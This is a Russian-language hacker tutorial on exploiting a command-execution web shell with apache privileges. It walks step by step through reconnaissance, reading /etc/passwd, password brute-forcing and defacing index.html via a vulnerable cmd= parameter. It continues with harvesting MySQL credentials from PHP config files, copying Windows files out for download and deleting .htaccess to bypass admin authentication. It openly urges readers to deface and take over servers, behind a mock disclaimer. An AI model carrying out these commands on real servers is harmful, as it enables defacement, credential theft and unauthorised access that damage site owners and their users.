##########################################
#!/usr/share/doc/defaced/1/misc/wshell.txt
##########################################

Что делать с "шеллом" с правами apache? [ by [R00T] ]

Много  людей  спрашивают  меня  –  «как сделать дефейс»? Сейчас ещё пара человек
выразили  свое  «фи» по поводу статей на сайте… мол статьи какие-то «слишком для
умных»,  мол надо бы немного вводных статей про хакинг, про TCP/IP, про дефейсы…
Народ,  во-первых  на  эту  тему  уже  написано  СТОЛЬКО всего, что можно просто
свихнуться,  а во-вторых – ну неужели вам лень залезть на любой поисковик, найти
любые  доки  на эту тему и самостоятельно прочесть! Блин! Ладно, для тех кто всё
таки  ещё  не  понял, каким образом это делается – объясню на простейшем примере
дефейса.  Я  напишу  ряд  «вводных в хак» статей. Для тех, кто интересуется этим
ремеслом.

В  данной статье я использовал некоторые материалы из чужих статей – т.к. где-то
что-то  описано  лучше,  где-то  хуже…  я выбрал, на мой взгляд, лучшее, написал
своё,  потом  связал  воедино – и получил то, что вы читаете в данный момент. 8)
Посему  большое  спасибо  авторам и группам, чьи творения вошли в этот материал.
Список указан в конце.

Итак, приступим.
Что  у  нас есть? У нас есть шелл. Естественно, не с привилегиями суперюзера. 8)
Допустим,  у вас есть шелл с правами apache. Т.е. на сервере существует уязвимый
скрипт,  и  вы  с  его  помощью  можете выполнять команды на удалённой машине. К
примеру, всё это выглядит так:

http://www.site.com/superscript.php?cmd=[тут_мы_вводим_команды_которые_сервер_
выполняет]

Вот некоторые самые простые и нужные команды Linux:
uname –a 	выводит информацию о системе и версии ядра (может быть подставой)
ls ../../etc         выводит содержание папки ../../etc на экран
ls –la /site/         выводит список всех (даже скрытых) файлов в папке site
pwd         показывает путь на сервере к папке, в которой вы сейчас находитесь
cat passwd         показывает содержимое файла passwd
echo “hacked” > index.html         записывает «hacked» в файл index.html
echo “hacked” >> index.html  Дописывает в конце файла index.html – “hacked”.
rm users.txt         удаляет файл users.txt
rmdir files         удаляет папку files
whoami         показывает вашу учётную запись в системе и ваши права
ps  –aux показывает список процессов системы. Можно косвенно проверить – есть 
лиадминистратор в системе
ftp ftp.popa.ru         запускает клиент ftp на ftp.popa.ru

Это  лишь  кратчайший список команд, которые могу вам помочь. Опять же – так как
об этом было уже написано немало – отсылаю вас к первоисточникам:

Limpid Byte - UNIX Shell - ROUND1

Например:

http://www.site.com/superscript.php?cmd=ls ../

После  ввода  такой  строки в броузере вы получаете листинг папки. Отлично. Есть
контакт! 8) Многие сразу лезут в /etc/passwd на сервере и думают, что до дефейса
осталось  2  минуты.  На  самом  деле это не так. 8) Забудьте вообще, что пароли
когда-то  лежали  в passwd. Те времена, когда действительно так было – не помнят
даже  ваши  бабушки.  8)  Сейчас  уже 90% (это моё личное мнение) всех Линуксов,
использующихся  под  сервера  обновлены и используют технологию shadow password,
что  означает «теневые пароли». Т.е. пароли от машины хранятся не в /etc/passwd,
а  в  /etc/shadow.  Причем  доступ к этому файлу имеет только супер пользователь
(root  или  юзер  с  uid=0).  В добавок ко всему – пароли в этом файле находятся
конечно же не плейн текстом (обычным текстом) а зашифрованы (John the Ripper вам
поможет  8)).  Но  всё  это  не  означает,  что  вам  даже  нет  смысла смотреть
/etc/passwd  –  там  можно  подчерпнуть  немного  полезной информации о сервере,
например  логины всех пользователей, узнать, кто из них имеет доступ по шеллу, в
конце  концов  –  «размер» сервера (как правило, на обычных машинах в этом файле
только  одна  «юзабельная»  учетная  запись:  стандартно  –  это root, остальные
«юзера»  - это учетные записи, типа sys, bin, install, reboot и т.п., которые не
имеют  доступа  к  шеллу  и вообще нафиг нам не нужны). Под «размером» сервера в
данный  момент  я подразумеваю количество этих самых «юзабельных» пользователей,
т.е.  кол-во логинов, имеющих доступ к шеллу. Обычно на малых серверах – это две
три записи, типа root, admin, operator или ещё как-нибудь, к примеру, на больших
серверах, это туча юзеров, и файл /etc/passwd превращается в список, типа:

…
teckgheezonebrc:*:111:100:,,,:/usr/home/teckgheezonebrc:/bin/csh
nnrsin:*:112:100:,,,:/usr/home/nnrsin:/bin/csh
greenturtlemedia:*:116:100:,,,:/usr/home/greenturtlemedia:/bin/csh
admen:*:117:100:,,,:/usr/home/admen:/bin/csh
issconsulting:*:118:100:,,,:/usr/home/issconsulting:/bin/csh
caratindia:*:121:100:,,,:/usr/home/caratindia:/bin/csh
avilyn:*:124:100:,,,:/usr/home/avilyn:/bin/csh
impressionspr:*:125:100:,,,:/usr/home/impressionspr:/bin/csh
systron:*:126:100:,,,:/usr/home/systron:/bin/csh
retailasiaonline:*:127:100:,,,:/usr/home/retailasiaonline:/bin/csh
abigthink:*:129:100:,,,:/usr/home/abigthink:/bin/csh
raveav:*:130:100:,,,:/usr/home/raveav:/bin/csh
sofpasat:*:132:100:,,,:/usr/home/sofpasat:/bin/csh
asiantravelclub:*:133:100:,,,:/usr/home/asiantravelclub:/bin/csh
roger:*:135:100:,,,:/usr/home/roger:/bin/csh
knowmyfortune:*:138:100:,,,:/usr/home/knowmyfortune:/bin/csh
forestwood:*:141:100:,,,:/usr/home/forestwood:/bin/csh
cdesign:*:144:100:,,,:/usr/home/cdesign:/bin/csh
gtysg:*:145:100::/usr/home/gtysg:/bin/bash
intercedeasia:*:146:100:,,,:/usr/home/intercedeasia:/bin/csh
okis:*:150:100:,,,:/usr/home/okis:/bin/csh
zulkifli:*:158:100:,,,:/usr/home/zulkifli:/bin/csh
clement:*:160:100:,,,:/usr/home/clement:/bin/csh
storbest:*:162:100:,,,:/usr/home/storbest:/bin/csh
jurong:*:164:100:,,,:/usr/home/jurong:/bin/csh
lanka:*:169:100:,,,:/usr/home/lanka:/bin/csh
datum:*:173:100:,,,:/usr/home/datum:/bin/csh
…

На хостинговых серверах файл похож на:
…
bryneisteddfod:x:541:541::/home/httpd/html/bryneisteddfod.com:/bin/false
chefscene:x:542:542::/home/httpd/html/chefscene.co.uk:/bin/false
harlechbutchers:x:543:543::/home/httpd/html/harlechbutchers.co.uk:/bin/false
camsoft:x:544:544::/home/httpd/html/cambriansoftware.co.uk:/bin/false
harlechstdavids:x:545:545::/home/httpd/html/harlechstdavids.co.uk:/bin/false
tylon:x:546:546::/home/httpd/html/ty-lon-holiday-cottages.co.uk:/bin/false
lodgingsrus:x:547:547::/home/httpd/html/lodgings-r-us.com:/bin/false
silverstar:x:548:548::/home/httpd/html/silverstarholidays.com:/bin/false
xtreme:x:549:549::/home/httpd/html/x-tremepromotions.co.uk:/bin/false
pop2world:x:550:550::/home/httpd/html/pop2world.com:/bin/false
mprojectman:x:551:551::/home/httpd/html/mprojectman.co.uk:/bin/false
mud:x:552:552::/home/httpd/html/mud.org.uk:/bin/false
davidhemmings:x:553:553::/home/davidhemmings:/bin/false
argathnie.co.uk:x:554:554::/home/httpd/html/argathnie.co.uk:/bin/false
smmotors:x:555:555::/home/httpd/html/keithsmith/smmotors.co.uk:/bin/false
bwlifetour:x:556:556::/home/httpd/html/lifestyletours.org:/bin/false
letstradelocal:x:557:557::/home/httpd/html/letstradelocal.com:/bin/false
sweetevans:x:558:558::/home/httpd/html/sweetevans.co.uk:/bin/false
webby:x:559:559::/home/webby:/bin/false
fbpmc:x:560:560::/home/httpd/html/fbpmc.co.uk:/bin/false
icccatering:x:561:561::/home/httpd/html/icccatering:/bin/false
wildtrekking:x:562:562::/home/httpd/html/wildtrekking.co.uk:/bin/false
kgwashford:x:563:563::/home/httpd/html/kgwashford.co.uk:/bin/false
desmak:x:564:564::/home/httpd/html/desmak.co.uk:/bin/false
grovenet:x:565:565::/home/httpd/html/grove-net.co.uk:/bin/false
inventories:x:566:566::/home/httpd/html/inventories-cris.co.uk:/bin/false
pauldyson:x:567:567::/home/httpd/html/rise2.com:/bin/false
ecaic:x:569:569::/home/httpd/html/ecaic.co.uk:/bin/false
…

Если  уже  заметили  – каждая строчка заканчивается на /bin/false. Это означает,
что  данный пользователь не имеет доступа к шеллу хостинговой машины, а разрешён
только ftp и ещё пара сервисов.

Зачем  нам это нужно? В принципе – нафиг не нужно! Но, если нечего делать, можно
заняться  брутом. Т.е. попробовать подобрать пароли. Зная логины можно пробовать
разные  комбинации,  начиная  от  логин:логин  и  заканчивая  наглым подбором по
словарю. 8) Естественно, делается всё это не вручную! 8) Уже до вас умные дядьки
придумали  программы  и  скрипты,  которые  делают  это автоматически. Приводить
список  подобных  программ  я  не буду, т.к. честно говоря прямо сейчас сразу не
вспомнить,  но  100%  знаю,  что  даже  самый  дряхлый поисковик найдет вам кучу
подобных  сканеров.  Многие хак-команды делают такие сканеры сами. Так что – вам
домашнее   задание  –  найти  хороший  сканер  или  написать  самим.  8).  «Хех,
логин:логин – это же лажа, таких идиотов не осталось» - скажете вы, а вот и нет!
Порой даже страшно себе представить, что за существо может скрываться за учётной
записью root, когда на сервере одного крупного американского хостера, его пароль
(всмысле,  рутовский)  =  toor.  8) Очень часто попадаются юзера, которым просто
лень  запоминать сложные комбинации из букв и цифр, и они делают пароль таким же
как и логин. Очень видишь ли удобно. 8)

Итак, суть статьи ещё не раскрыта, посему – двигаемся дальше. Начнем с того, что
–  вам надо понять – где вы находитесь? Т.е. что это вообще за ОСь (Операционная
Система)? Для этого мы делаем следующее:

http://www.site.com/superscript.php?cmd=uname –a

после чего, либо нам показывают что-то типа:

Linux WAX-Satellite 2.4.18-17.8.0 #1 Tue Oct 8 13:51:08 EDT 2002 i686 GNU/Linux

или же… ничего не показывают… 8)

1  Если что-то типа это вылезло: не обольщайтесь, продвинутые админы меняют этот
текст  так,  что  даже если вы увидели, что это Linux RedHat – на самом деле это
может быть и Debian и FreeBSD. 8)
2  Если вы не увидели подобной строчки – тут две причины, либо это не *nix, либо
доступ у вас к данной команде закрыт. 8(

Итак, если это всё же что-то линуксо-подобное, то читаем дальше. Если не линукс…
тоже читаем дальше, о Windows чуть позже.

Нусс,  приступим. Для начала, вам надо выяснить – кто же вы в системе. Для этого
используем команду “whoami”. Т.е.:

http://www.site.com/superscript.php?cmd=whoami

Сервер  выдаст  нам  информацию о наших правах и логине. Скорее всего вы увидите
строку типа:


uid=1024 (apache), gid=1024 (apache), sgid=1024 (apache)

Или

uid=65535 (nobody), gid=65535 (nobody), sgid=65535 (nobody)

Лучше конечно же первое, т.к. с правами nobody что-либо сделать немного сложнее.
После  того,  как  вы  определили  кто  вы  – неплохо бы осмотреться. Для начала
используем команду ls без параметров. Т.е.:

http://www.site.com/superscript.php?cmd=ls

после чего мы видим, что лежит в одной папке с уязвимым скриптом. Ок. Теперь нам
надо выбраться на верхний уровень сайта, т.е. в папку где лежит index.html(.php,
.asp,  и т.д.)., для этого мы вводим ту же самую команду ls, но уже с параметром
../,  т.е.  “ls  ../”,  вы  должны увидеть содержимое папки, в которой находится
папка со скриптом, т.е. папку на уровень выше. Так вы увеличиваете кол-во ../ до
того  момента,  пока  не  увидите корневой каталог сайта с index.html. Например,
если скрипт лежит в папке где-то в

http://www.site.com/cgi-bin/scripts/popa/super/superscript.php

То  для  того, чтобы увидеть корень сайта надо ввести команду “ls ../../../../”.
Думаю, разберётесь.

После  того,  как  вы  увидите  корень  сайта  –  вам  надо  узнать права на сам
index.html.  Для  этого  вам  надо использовать ls с теми же параметрами, но ещё
использовав  ключи “-la” . т.е. “ls –la ../../../../”.Вы увидите список файлов и
папок  в  столбик  и  с  подробной информацией о них. Внимание – если ваши права
совпадают  с  владельцем  файла (владелец файла тоже apache), то дефейс сайта вы
можете сделать прямо сейчас. 8) Для этого вам нужна всего одна команда:

http://www.site.com/cgi-bin/scripts/popa/super/superscript.php?echo “hacked by 
cool man” > ../../../../index.html

Справка:
echo “bla-bla-bla” – означает вывод на экран этого bla-bla-bla.
>  -  означает  поток,  или  перенаправление вывода предыдущей команды (echo) в…
туда, куда скажите. 8)

В  данном случае наша команда перенаправит это bla-bla-bla в файл index.html. 8)
Всё  просто!  Дефейс готов! Можете смело добавлять его на войд или к нам в 0wn3d.
8)

Продолжение  –  для  тех,  кто  хочет уйти дальше, чем просто испоганить сервер.
Кстати,  очень  не  советую  в  первые минуты сломя голову вешать дефейс – лучше
сначала  осмотритесь – нет ли на сайте какой-нибудь полезной информации, а потом
уже – можно и привет админу оставить на первой странице. 8)

Итак,  продолжаем  нашу  эпопею. 8) Т.к. вы можете выполнять команды на сервере:
лазать  по  папкам, смотреть файлы, читать некоторые файлы настроек системы – вы
можете полностью захватить сервер.

База  данных  (скорее  всего это MySQL). Что нам надо – да любой скрипт, который
использует  эту БД. К примеру сайт у нас, точнее у них, написан на php – отлично
–  тогда делаем так – просто смотрим index.php (или любой другой скрипт, который
использует  БД).  Т.к.  сервера, использующие php+MySQL, на 95% все свои новости
или  форум  хрянят  в БД, поэтому – где показываются новости – конечно на первой
странице,  посему  и  смотрим  index.php.  Для  этого  используем  команду  “cat
../../../../index.php”. Гы! Только не говорите, что вы не знаете PHP!!! Ну ёмаё…
8(  Ладно, рассказываю… когда вам на экран вывалится непонятно что, с формами, с
ссылками,  как  бы  хтмл-страница,  но какая-то кривая – вы просто открываете её
текстовым редактором и видите исходник этого скрипта (index.php). Вам надо найти
строчки:

mysql_connect("coolsite.com","root","coolman");
mysql_select_db("mysql");

Отсюда  мы  видим  –  сервер  БД – coolsite.com, логин – root, пароль – coolman.
База,  которую  использует сервер называется – mysql. Отсюда – мы имеем доступ к
базе данных всего сайта. 8)

Вообще-то  все нормальные сайты не будут писать подобную процедуру коннекта к БД
везде,  где  только  требуется  какая-то  операция с БД – чаще встречается такая
штука  – есть один конфигурационный файл, который «вставляется» в каждый скрипт,
тем  самым  каждый  скрипт  может  работать с БД (используется функция, например
connect_db(), которую пишут «везде, где надо сконнектиться с БД», а сама функция
описывается в файле конфигурации. Т.е. Если вы увидите в index.php что-то типа:

include "inc/config.inc.php";

или

require_once ('inc/config.inc.php');

Всё это означает, что вам надо посмотреть файл inc/config.inc.php. Команда “ cat
../../../../  inc/config.inc.php”,  после  чего в этом файле вы всё-таки увидите
пароли к БД. 8)

Итак – База Данных наша.

Что  делать  дальше  –  дело ваше. Можете использовать для своих грязных дел БД.
Можете  через  этот  сайт  коннектиться  через  уязвимый  скрипт по ftp к другим
взломанным сайтам (используя команду ftp). Это уже дело ваше.

Иногда  –  я  бы даже сказал – «очень иногда» - администраторы оставляют файлы с
паролями от ftp сайта, так сказать – чтобы если вдруг по пьяни забудется… т.е. я
советую  вам  пробежаться  по всем папкам сайта – на пример подобных «интересных»
файлов.

Ещё  –  на  многих  серверах  есть админские разделы, т.е. это некая папка, типа
admin в корне сайта, защищённая паролем, и содержащая скрипты, которые позволяют
управлять   сайтом   –   добавлять/стирать/редактировать  новости,  пользоваться
рассылкой  сайта, следить за комментариями новостей, пополнять разделы… короче –
у  каждого админа и сайта пл-своему… но это встречается чаще всего. Мою мысль, я
думаю,  вы  уже  поняли.  8) Для тех, кто только что вылез из танка – объясняю –
подобные  папки  на  85%  защищены  файлом  .htaccess.  Т.е.  в  этом  находится
конфигурация  данной  папки, и есть ссылка на файл (чаще всего это .htpasswd), в
котором  лежат  зашифрованные  пароли  для  входа в эту папку. Что с этим файлом
делать – расскажу позже, когда речь пойдет о конкретном примере с Виндами.

Можно  добраться  и  до  прав  рута,  но т.к. я пишу вводную статью – эту тему я
затрагивать  пока  не  буду. О том, как можно после подобных действий обеспечить
себя  шеллом  с  рутовскими  правами – читайте в статье от DHGroup. Лично мне по
20-му разу об этом писать ломает…
Писать  можно ещё много чего… например про то, как можно «примаунтить» удалённый
HDD  к  своему  родному  через  Линук… но сейчас я об этом не буду, чтобы каши в
голове не было. Написать об этом я всегда успею. 8)
Итак,  теперь  вы  вроде  как  знаете,  что делать, если нашли уязвимый скрипт с
возможностью выполнения команд на *nix-овском сервере.

Теперь расскажу вам что делать с Windows. В данном примере я оставлю тот же путь
к уязвимому скрипту:

http://www.site.com/superscript.php?cmd=[тут_мы_вводим_команды_которые_сервер_
выполняет]

Т.к.  это  винда,  то и команды тут виндовские. 8) Вот то, что используется чаще
всего:

dir c:\         показывает содержание диска c:\
cp c:\winnt\system32\cmd.exe c:\nteam.exe         копирует файл cmd.exe в файл 
c:\nteam.exe
echo “hacked” > “index.html”         записывает “hacked” index.html
rm c:\autoexec.bat         удаляет файл autoexec.bat
del c:\autoexec.bat         удаляет файл autoexec.bat
rmdir c:\popa         удаляет папку popa
netstat         выводит список подключений к системе

Остальное  знать  не  обязательно.  Самое неудобное здесь то, что по сравнению с
Линуксом  –  тут  вы  файл  из  командной строки посмотреть не сможете… а вот не
придумал дядя Билл такой программы, видимо ещё не всю книжку по С++ прочитал… ну
да ладно. 8)

Что  можно  сделать тут? Да много чего… ну, во-первых, в вашем распоряжении весь
HDD.  Ну почти весь… 8) только та его часть, на которую у вас прав хватит. 8) Но
это  не  беда,  обычно  их  хватает. Итак – сначала роемся в папках, ищем что-то
интересное...  Тут нас подстерегает ещё один облом – ну нашли мы, допустим, файл
с  паролями  от Пентагона, что делать дальше… наверное некоторые из вас над этим
вопросом  будут  ломать  голову,  нервничать,  стучать  по столу, потом все таки
плюнут   на  этот  сервер  и  пойдут  на  какой-нибудь  порно-ресурс  залечивать
потраченные  нервы.  А  вот  и зря. 8) Всё очень просто. Мы не можем просмотреть
файл  на  диске  с  помощью  командной  строки…  зато  мы  можем  попытаться его
скопировать  в папку сервера (там, где лежит index.html), а потом просто скачать
этот  файл  набрав  в браузере путь к серверу и путь к самому файлу. 8) Я сказал
«можно   попытаться»,   да  именно  так,  иногда  админы  оказываются  умнее,  и
скопировать  файл  не  удаётся…  но  в 90% случаев – админы всё таки оказываются
ленивыми и ничего не закрывают. 8)

Теперь – что делать, если на сервере есть администраторский раздел, мы нашли его
папку  на  диске  жертвы,  но  просмотреть  файлы  не можем. (Копировать скрипты
администрирования  смысла  нет, т.к. большинство из них «привязаны» именно к той
папке,  где они лежат (т.е. скрипт добавления новостей ссылается на старое место
в  админской  папке, а при этом запросе – вылезет проверка пароля). Итак, тут мы
ничего  не  копируем.  Расскажу  вам  немного подробнее, как устроена чаще всего
система авторизации папок в windows – может сами догадаетесь, что надо делать?..
8)  Итак,  у  нас  есть  сервер,  на котором есть уязвимый скрипт, через него мы
просматриваем папки и находим в корне сервера папку admin, т.е.:

http://www.site.com/admin/

Пробуем   туда   просто   зайти  через  бровзер  –  нифига,  просит  пароль.  8)
Аутентификация  тут  устроена  следующим  образом  – скорее всего (85%), что тут
используется  файл  .htaccess. На всякий случай – посмотрите эту папку через ваш
уязвимый скрипт, если файл .htaccess там есть – то всё нормально. Сервер наш. То
есть  ваш.  8)  Дело в том, что в этом файлике содержится информация для входа в
эту папку. Что-то типа:

# Access file
order allow,deny
allow from all
require valid-user
Authname DirectoryName
Authtype Basic
AuthUserFile /home/user/.htpasswd

Это  означает,  что  эта  папка  ограничена по доступу, в неё могут зайти только
авторизированные   юзеры,   логины   и   пароли   которых   хранятся   в   файле
/home/user/.htpasswd.  Это  всё  хорошо…  но  мы  понятия не имеем в каком файле
храняться  пароли  для  нашего  сервера,  т.е.  для папки admin на этом сервере…
Поняли?..  кхм… ясно, тогда скажу ещё одну фразу – этот файл ОГРАНИЧИВАЕТ доступ
к  этой  папке!  НУ?!  …  Бл…  всё  ясно…  Ладно,  расскажу  сам… если этот файл
ограничивает  нам  доступ…  нафиг  он нам вообще нужен, а? 8) правильно! Удаляем
нафиг этот файл. 8) Т.е.:

http://www.site.com/superscript.php?cmd=del c:\InetPub\wwwroot\admin\.htaccess;

Так, теперь через броузер пробуем зайти в админский раздел! Опа! Мы теперь можем
добавлять свои новости, отвечать в гостевой книге, заниматься рассылкой сервера,
удалять юзеров и кучу всего ещё… того, что только придумал админ сайта. 8)

Удалять  подобные файлы для «расширения» доступа так же можно и в *nix. Так что…
8)

Так же советую прочесть:
Получение шела через CGI приложения Limpid Byte
PHP source injection 2 DHGroup
очень много подобных статей есть на Void.Ru

Данная  статья  не  является  призывом  к  действию  или ещё какой-либо подобной
хренью… автор статьи не отвечает за ущерб, который может быть нанесён читателями
данного материала… бла-бла-бла…

Удачи,  перцы!  8)  Ждите мои следующие статьи. С каждым разом буду всё больше и
больше повышать планку скилла… т.е. последующие статьи будут уже немного «круче»
предыдущих, как выражаются некоторые… 8) Чава какава!